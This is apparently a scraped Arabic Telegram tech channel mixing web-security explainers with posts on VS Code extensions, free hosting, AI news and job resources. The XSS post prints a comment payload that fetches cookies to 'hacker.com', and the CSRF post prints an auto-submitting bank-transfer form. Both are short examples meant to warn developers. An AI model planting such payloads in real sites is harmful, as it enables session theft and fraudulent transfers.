من المهم لكل مبرمج عربي ان لا يغفل عما يقدمه العرب من المحتوى القوي جداً ، اكادمية حسوب لها توثيق شامل لاشهر اطر العمل واللفات البرمجية باللفة العربية وبشكل رائع
شاهد موسوعة حسوب على الرابط التالي:
https://wiki.hsoub.com/
شاهد موسوعة حسوب على الرابط التالي:
https://wiki.hsoub.com/
بسم الله الرحمن الرحيم والصلاة والسلام على اشرف المرسلين .
كيف يمكن للمهاجمين مهاجمة موقعي او مهاجمة مستخدمين موقعي ؟
في عالم تطوير الويب يجب ان تكون حذر حيال امكانية المهاجمين انتحال شخصية مستخدميك او سرقة بياناتهم خصوصاً ان كان هذا المستخدم الذي تم انتحاله هو مشرف في الموقع .
الامر ليس فكرة عابرة او خيال علمي ، امكانية انتحال مستخدمي موقعك سهلة ان كنت لا تعرف كيف تحميه ، وهنا نذكر نوعان من الهجمات XSS, CSRF .
اولاً هجمة XSS وهي عملية يتم فيها الوصول الى بيانات المستخدم التي تم تخزينها في المتصفح مثل الكعكات وارسالها الى المهاجم ، ولكن كيف ذلك؟
ابسط مثال انك تسمح للمستخدمين بكتابة التعليقات في الموقع ، ولم تقم بالحماية بشكل مطلوب وقام احد المستخدمين "المهاجم" بكتابة تعليق وقام بعمل فيه كود JS يصل الى الكعكات ويرسلها الى المهاجم مثل
اتدري ما سيحصل اذا قام المشرف بشكل عفوي بقراءة تعليقات المستخدمين ؟ سيتم ارسال الكعكات الى المهاجم ، وانت بطريقة ما قد تخزن بيانات حساسة في الكعكات ، ولا يقتصر الامر على الكعكات وانما جميع البيانات التي يمكن ان تصل اليها JS مثل ال LocalStorage وغيرها ، واشهر خطا هو محاولتك لتخزين ال JWT في التخزين المحلي localstorage ...
ثانياً CSRF وهذه الثغرة لا تقل خطورة بل تعتبر اكثر خطورة ، حيث يقوم المهاجم بارسال طلبات من متصفح المستخدم الى مواقع اخرى بدون علم المستخدم . اتعلم ما المشكلة؟ تخيل انك سجلت الدخول الى بنك عبر متصفحك ، بالتأكيد البنك امن موقعه بالكامل ولن يتم مهاجمتك بالثغرة السابقة XSS ولكنك زرت موقع اخر لا علاقة له بالبنك ، لكن هذا الموقع فيه الكود التالي
وبما انك مسجل دخول الى البنك ، فيقوم المتصفح بارسال الكعكات تلقائياً للبنك ، وهنا يمسي غنياً ويصبح فقيراً واخر يمسي فقيراً ويصبح غنياً .
كيف يمكن للمهاجمين مهاجمة موقعي او مهاجمة مستخدمين موقعي ؟
في عالم تطوير الويب يجب ان تكون حذر حيال امكانية المهاجمين انتحال شخصية مستخدميك او سرقة بياناتهم خصوصاً ان كان هذا المستخدم الذي تم انتحاله هو مشرف في الموقع .
الامر ليس فكرة عابرة او خيال علمي ، امكانية انتحال مستخدمي موقعك سهلة ان كنت لا تعرف كيف تحميه ، وهنا نذكر نوعان من الهجمات XSS, CSRF .
اولاً هجمة XSS وهي عملية يتم فيها الوصول الى بيانات المستخدم التي تم تخزينها في المتصفح مثل الكعكات وارسالها الى المهاجم ، ولكن كيف ذلك؟
ابسط مثال انك تسمح للمستخدمين بكتابة التعليقات في الموقع ، ولم تقم بالحماية بشكل مطلوب وقام احد المستخدمين "المهاجم" بكتابة تعليق وقام بعمل فيه كود JS يصل الى الكعكات ويرسلها الى المهاجم مثل
منشور رائع
<script>
fetch('hacker.com' + document.cookie);
</script>
اتدري ما سيحصل اذا قام المشرف بشكل عفوي بقراءة تعليقات المستخدمين ؟ سيتم ارسال الكعكات الى المهاجم ، وانت بطريقة ما قد تخزن بيانات حساسة في الكعكات ، ولا يقتصر الامر على الكعكات وانما جميع البيانات التي يمكن ان تصل اليها JS مثل ال LocalStorage وغيرها ، واشهر خطا هو محاولتك لتخزين ال JWT في التخزين المحلي localstorage ...
ثانياً CSRF وهذه الثغرة لا تقل خطورة بل تعتبر اكثر خطورة ، حيث يقوم المهاجم بارسال طلبات من متصفح المستخدم الى مواقع اخرى بدون علم المستخدم . اتعلم ما المشكلة؟ تخيل انك سجلت الدخول الى بنك عبر متصفحك ، بالتأكيد البنك امن موقعه بالكامل ولن يتم مهاجمتك بالثغرة السابقة XSS ولكنك زرت موقع اخر لا علاقة له بالبنك ، لكن هذا الموقع فيه الكود التالي
<form action="https://bank.com/transfer" method="POST">
<input name="to" value="hacker">
<input name="amount" value="1000000">
</form>
<script>document.forms[0].submit()</script>
وبما انك مسجل دخول الى البنك ، فيقوم المتصفح بارسال الكعكات تلقائياً للبنك ، وهنا يمسي غنياً ويصبح فقيراً واخر يمسي فقيراً ويصبح غنياً .
Forwarded from عاصم آل ناجي (┍᥈᥉ᥱᦂ┑)
انضم إلى تطبيق متبرع — تطبيق مجاني لإيجاد متبرعي الدم في اليمن.
https://www.motabar3.com/?ref=a7d8491c-a035-4941-a036-2b99281ce653
https://www.motabar3.com/?ref=a7d8491c-a035-4941-a036-2b99281ce653
Forwarded from Mohcin Bounouara's Space (Mohcin)
This media is not supported in your browser
VIEW IN TELEGRAM
كلام سديد.. في مسألة التعرف على النفس.
لو يومك بيعدي داخل VS Code، فالإضافات اللي جاية دي مش مجرد تحسين، دي فرق بين شغل عادي وشغل احترافي.
أقوى 10 إضافات VS Code:
1 - Prettier
تنسيق تلقائي للكود يخليك تركز في المنطق بدل الشكل.
2 - Live Server
عرض حي للتغييرات مباشرة في المتصفح عند الحفظ.
3 - ESLint
يرصد الأخطاء مبكرًا ويقترح الحلول قبل التشغيل.
4 - Thunder Client
اختبار الـ API من داخل VS Code، من غير ما تفتح أدوات خارجية.
5 - Bracket Pair Colorizer
ألوان مختلفة للأقواس عشان قراءة الكود تكون أوضح.
6 - Auto Rename Tag
أي تعديل في تاج HTML ينطبق تلقائيًا على التاج المقابل.
7 - GitLens
يوضح تاريخ التعديل ومين كتب كل جزء من الكود.
8 - Path Intellisense
اقتراح أسماء الملفات والمسارات بمجرد كتابة أول حرف.
9 - Code Spell Checker
مراجعة الكلمات جوه الأكواد والتعليقات لمنع الأخطاء الإملائية.
10- AyaCode
يعرض آيات قرآنية أثناء العمل تساعد على التركيز والهدوء.
أقوى 10 إضافات VS Code:
1 - Prettier
تنسيق تلقائي للكود يخليك تركز في المنطق بدل الشكل.
2 - Live Server
عرض حي للتغييرات مباشرة في المتصفح عند الحفظ.
3 - ESLint
يرصد الأخطاء مبكرًا ويقترح الحلول قبل التشغيل.
4 - Thunder Client
اختبار الـ API من داخل VS Code، من غير ما تفتح أدوات خارجية.
5 - Bracket Pair Colorizer
ألوان مختلفة للأقواس عشان قراءة الكود تكون أوضح.
6 - Auto Rename Tag
أي تعديل في تاج HTML ينطبق تلقائيًا على التاج المقابل.
7 - GitLens
يوضح تاريخ التعديل ومين كتب كل جزء من الكود.
8 - Path Intellisense
اقتراح أسماء الملفات والمسارات بمجرد كتابة أول حرف.
9 - Code Spell Checker
مراجعة الكلمات جوه الأكواد والتعليقات لمنع الأخطاء الإملائية.
10- AyaCode
يعرض آيات قرآنية أثناء العمل تساعد على التركيز والهدوء.
🧵 أفضل منصات الاستضافة المجانية لعام 2026
- Sevalla․com
- GitHub Pages
- Netlify
- Vercel
- Cloudflare Pages
- GitLab Pages
- Firebase Hosting
- AWS Amplify
- Render
- Surge
- Gatsby Cloud
- Neocities
- Carrd
- FreeHosting
- InfinityFree
- 000webhost
- AwardSpace
- ByetHost
- Bitbucket
- Sevalla․com
- GitHub Pages
- Netlify
- Vercel
- Cloudflare Pages
- GitLab Pages
- Firebase Hosting
- AWS Amplify
- Render
- Surge
- Gatsby Cloud
- Neocities
- Carrd
- FreeHosting
- InfinityFree
- 000webhost
- AwardSpace
- ByetHost
- Bitbucket
This media is not supported in your browser
VIEW IN TELEGRAM
في شركة Eon Systems أعلن العلماء أنهم صنعوا أول محاكاة رقمية كاملة لدماغ حيوان قادرة على التحكم بجسم.
الفكرة معروفة في الخيال العلمي:
بدل ما ندرّب آلة لتتعلم مثل الذكاء الاصطناعي نأخذ دماغًا بيولوجيًا حقيقيًا، ننسخه بالكامل كنموذج رقمي، ثم نشغله داخل روبوت أو محاكاة.
ايش اللي فعلوه بالضبط؟
أخذوا دماغ ذبابة الفاكهة وأنشأوا ما يسمى connectome:
خريطة كاملة لكل الخلايا العصبية وروابطها وإشاراتها المشبكية.
نسخ دماغ الذبابة نفسه ليس جديدًا تمامًا نسخة رقمية موجودة منذ 2024.
لكن ما فعلته Eon Systems لأول مرة هو ربط هذا الدماغ الرقمي بجسم داخل محاكاة.
بمعنى آخر، لأول مرة تم إغلاق الحلقة الكاملة:
البيئة بعدين الحساسات بعدين الدماغ بعدين أوامر الحركة بعدين حركة الجسم
هذا يسمى closing the sensorimotor loop (إغلاق حلقة الإدراك والحركة).
الذبابة الافتراضية الناتجة لا تقوم بسلوك واحد فقط، بل تظهر عدة أنماط سلوكية أساسية.
المثير هنا:
لا توجد شبكات عصبية اصطناعية بالمعنى التقليدي.
فقط خريطة دماغ حقيقية موصولة بجسم وبدأت تعمل.
صحيح أن بعض النماذج الحسابية ما زالت تُستخدم لتقدير ديناميكيات الدماغ (مثل قوة المشابك وحدود التنشيط)، لكن هذا ليس AI تقليدي.
الاستنتاج الأهم
الفكرة الأساسية لـ تحميل الدماغ (brain upload) أصبحت مبدئيًا قابلة للتطبيق.
لكن التحدي الحقيقي هو الحجم:
دماغ الذبابة ≈ 140 ألف خلية عصبية
دماغ الإنسان ≈ 86 مليار خلية عصبية
الفرق هائل.
الفكرة معروفة في الخيال العلمي:
بدل ما ندرّب آلة لتتعلم مثل الذكاء الاصطناعي نأخذ دماغًا بيولوجيًا حقيقيًا، ننسخه بالكامل كنموذج رقمي، ثم نشغله داخل روبوت أو محاكاة.
ايش اللي فعلوه بالضبط؟
أخذوا دماغ ذبابة الفاكهة وأنشأوا ما يسمى connectome:
خريطة كاملة لكل الخلايا العصبية وروابطها وإشاراتها المشبكية.
نسخ دماغ الذبابة نفسه ليس جديدًا تمامًا نسخة رقمية موجودة منذ 2024.
لكن ما فعلته Eon Systems لأول مرة هو ربط هذا الدماغ الرقمي بجسم داخل محاكاة.
بمعنى آخر، لأول مرة تم إغلاق الحلقة الكاملة:
البيئة بعدين الحساسات بعدين الدماغ بعدين أوامر الحركة بعدين حركة الجسم
هذا يسمى closing the sensorimotor loop (إغلاق حلقة الإدراك والحركة).
الذبابة الافتراضية الناتجة لا تقوم بسلوك واحد فقط، بل تظهر عدة أنماط سلوكية أساسية.
المثير هنا:
لا توجد شبكات عصبية اصطناعية بالمعنى التقليدي.
فقط خريطة دماغ حقيقية موصولة بجسم وبدأت تعمل.
صحيح أن بعض النماذج الحسابية ما زالت تُستخدم لتقدير ديناميكيات الدماغ (مثل قوة المشابك وحدود التنشيط)، لكن هذا ليس AI تقليدي.
الاستنتاج الأهم
الفكرة الأساسية لـ تحميل الدماغ (brain upload) أصبحت مبدئيًا قابلة للتطبيق.
لكن التحدي الحقيقي هو الحجم:
دماغ الذبابة ≈ 140 ألف خلية عصبية
دماغ الإنسان ≈ 86 مليار خلية عصبية
الفرق هائل.
This media is not supported in your browser
VIEW IN TELEGRAM
لعشّاق قراءة الأوراق العلمية ظهر موقع لطيف اسمه AlphaXiv.
الفكرة ببساطة
هو أشبه بـ تويتر للـ research papers.
بدل ما تضيع بين آلاف الأوراق في arXiv، الموقع يعطيك feed قابل للتمرير مثل X.
ماذا ترى في الصفحة؟
أحدث الأوراق العلمية الأكثر إعجابًا وانتشارًا
الصورة الرئيسية للبحث
أهم الأفكار والنتائج بسرعة
زر مباشر لفتح الورقة كاملة
AI review يلخص البحث
مساعد AI يساعدك على قراءة وفهم الورقة
يعني بدل البحث العشوائي في الأوراق
تصبح القراءة مثل تصفح feed ذكي للأبحاث.
الرابط
https://www.alphaxiv.org/briefs
الفكرة ببساطة
هو أشبه بـ تويتر للـ research papers.
بدل ما تضيع بين آلاف الأوراق في arXiv، الموقع يعطيك feed قابل للتمرير مثل X.
ماذا ترى في الصفحة؟
أحدث الأوراق العلمية الأكثر إعجابًا وانتشارًا
الصورة الرئيسية للبحث
أهم الأفكار والنتائج بسرعة
زر مباشر لفتح الورقة كاملة
AI review يلخص البحث
مساعد AI يساعدك على قراءة وفهم الورقة
يعني بدل البحث العشوائي في الأوراق
تصبح القراءة مثل تصفح feed ذكي للأبحاث.
الرابط
https://www.alphaxiv.org/briefs
الظاهر أن Meta مرة أخرى خارج المنافسة.
حسب تقرير من Reuters، اضطرت الشركة لتأجيل إطلاق نموذجها الجديد مرة أخرى… لأنه لم يصل لمستوى نماذج الكبيرة.
بحسب التسريبات من داخل الشركة:
— النموذج تفوق قليلًا على Gemini 2.5
— لكنه ما زال أضعف من نسخة Gemini 3.0 التي صدرت في نوفمبر
المشكلة أن مذكرات داخلية في فبراير كانت تمدح نموذج Avocado وتقول إنه أقوى نموذج أساسي لدى الشركة ويتفوق على البدائل المفتوحة المصدر في الاختبارات.
لكن الواقع يبدو مختلفًا.
النتيجة:
موعد الإطلاق تأجل من مارس إلى مايو أو يونيو.
السباق في نماذج الذكاء الاصطناعي أصبح مكلفًا جدًا
ومع ذلك، المال وحده لا يكفي للفوز.
حسب تقرير من Reuters، اضطرت الشركة لتأجيل إطلاق نموذجها الجديد مرة أخرى… لأنه لم يصل لمستوى نماذج الكبيرة.
بحسب التسريبات من داخل الشركة:
— النموذج تفوق قليلًا على Gemini 2.5
— لكنه ما زال أضعف من نسخة Gemini 3.0 التي صدرت في نوفمبر
المشكلة أن مذكرات داخلية في فبراير كانت تمدح نموذج Avocado وتقول إنه أقوى نموذج أساسي لدى الشركة ويتفوق على البدائل المفتوحة المصدر في الاختبارات.
لكن الواقع يبدو مختلفًا.
النتيجة:
موعد الإطلاق تأجل من مارس إلى مايو أو يونيو.
تخيل تكون مارك زوكربيرغ
تصرف مليارات على استقطاب أفضل الباحثين
وفي النهاية تحصل على نموذج عادي 😅
السباق في نماذج الذكاء الاصطناعي أصبح مكلفًا جدًا
ومع ذلك، المال وحده لا يكفي للفوز.
Job_Search_Resources main.pdf
19.7 KB
وحدة من مختصات التوظيف في مجال الحاسوب جمعت 200 مصدر للبحث عن وظيفة في مكان واحد.
القائمة مقسمة تقريبًا هكذا:
78 منصة وأداة للبحث عن الوظائف
122 شركة تقدم وظائف Remote
الفكرة بسيطة لكنها مفيدة:
بدل ما تبحث في عشرات المواقع عندك قائمة واحدة مرتبة تقدر تمر عليها بسرعة وتحفظ اللي ناسبك.
مفيد خصوصًا لو كنت:
تبحث عن وظيفة جديدة
تريد العمل عن بعد
أو تستكشف فرص في شركات تقنية مختلفة
القائمة مقسمة تقريبًا هكذا:
78 منصة وأداة للبحث عن الوظائف
122 شركة تقدم وظائف Remote
الفكرة بسيطة لكنها مفيدة:
بدل ما تبحث في عشرات المواقع عندك قائمة واحدة مرتبة تقدر تمر عليها بسرعة وتحفظ اللي ناسبك.
مفيد خصوصًا لو كنت:
تبحث عن وظيفة جديدة
تريد العمل عن بعد
أو تستكشف فرص في شركات تقنية مختلفة
Media is too big
VIEW IN TELEGRAM
لقيت خريطة تفاعلية تقيس مدى خطر أن يستبدل الذكاء الاصطناعي وظيفتك.
صاحب المشروع استخدم بيانات عن 342 مهنة في الولايات المتحدة، تشمل:
المهام الفعلية لكل وظيفة
الرواتب
متطلبات التعليم
بعدها صنع تصور بصري تفاعلي.
كيف تقرأ الخريطة؟
حجم المربع = عدد الأشخاص العاملين في هذه المهنة
اللون = مدى قابلية الأتمتة بالذكاء الاصطناعي على مقياس من 0 إلى 10
كلما كانت الوظيفة رقمية أكثر زاد خطر أتمتتها.
الخبر السيئ:
المبرمجين
المحللين
حصلوا على 8–9 من 10 من حيث قابلية الاستبدال بالـAI.
يعني باختصار:
الوظائف اللي تعتمد على العمل المعرفي الرقمي هي الأكثر عرضة للتغيير.
الموقع
صاحب المشروع استخدم بيانات عن 342 مهنة في الولايات المتحدة، تشمل:
المهام الفعلية لكل وظيفة
الرواتب
متطلبات التعليم
بعدها صنع تصور بصري تفاعلي.
كيف تقرأ الخريطة؟
حجم المربع = عدد الأشخاص العاملين في هذه المهنة
اللون = مدى قابلية الأتمتة بالذكاء الاصطناعي على مقياس من 0 إلى 10
كلما كانت الوظيفة رقمية أكثر زاد خطر أتمتتها.
الخبر السيئ:
المبرمجين
المحللين
حصلوا على 8–9 من 10 من حيث قابلية الاستبدال بالـAI.
يعني باختصار:
الوظائف اللي تعتمد على العمل المعرفي الرقمي هي الأكثر عرضة للتغيير.
الموقع
تطبيق GitHub-Store عبارة عن متجر مفتوح للتطبيقات مبني على GitHub.
الفكرة:
تثبت وتحدّث البرامج مباشرة من GitHub Releases.
الميزة الأساسية:
يتابع البرامج المثبتة
ينبهك بأي تحديث جديد
يخليك دائمًا محدث بدون تعب
وكمان:
ل يختار لك الملف المناسب تلقائيًا حسب نظامك
(Android / Windows / macOS / Linux)
https://github.com/OpenHub-Store/GitHub-Store
الفكرة:
تثبت وتحدّث البرامج مباشرة من GitHub Releases.
الميزة الأساسية:
يتابع البرامج المثبتة
ينبهك بأي تحديث جديد
يخليك دائمًا محدث بدون تعب
وكمان:
ل يختار لك الملف المناسب تلقائيًا حسب نظامك
(Android / Windows / macOS / Linux)
https://github.com/OpenHub-Store/GitHub-Store
تجاوز الاتصال بالإنترنت أثناء تنصيب ويندوز 11
https://www.facebook.com/share/r/1FxXE4ju7b/
https://www.facebook.com/share/r/1FxXE4ju7b/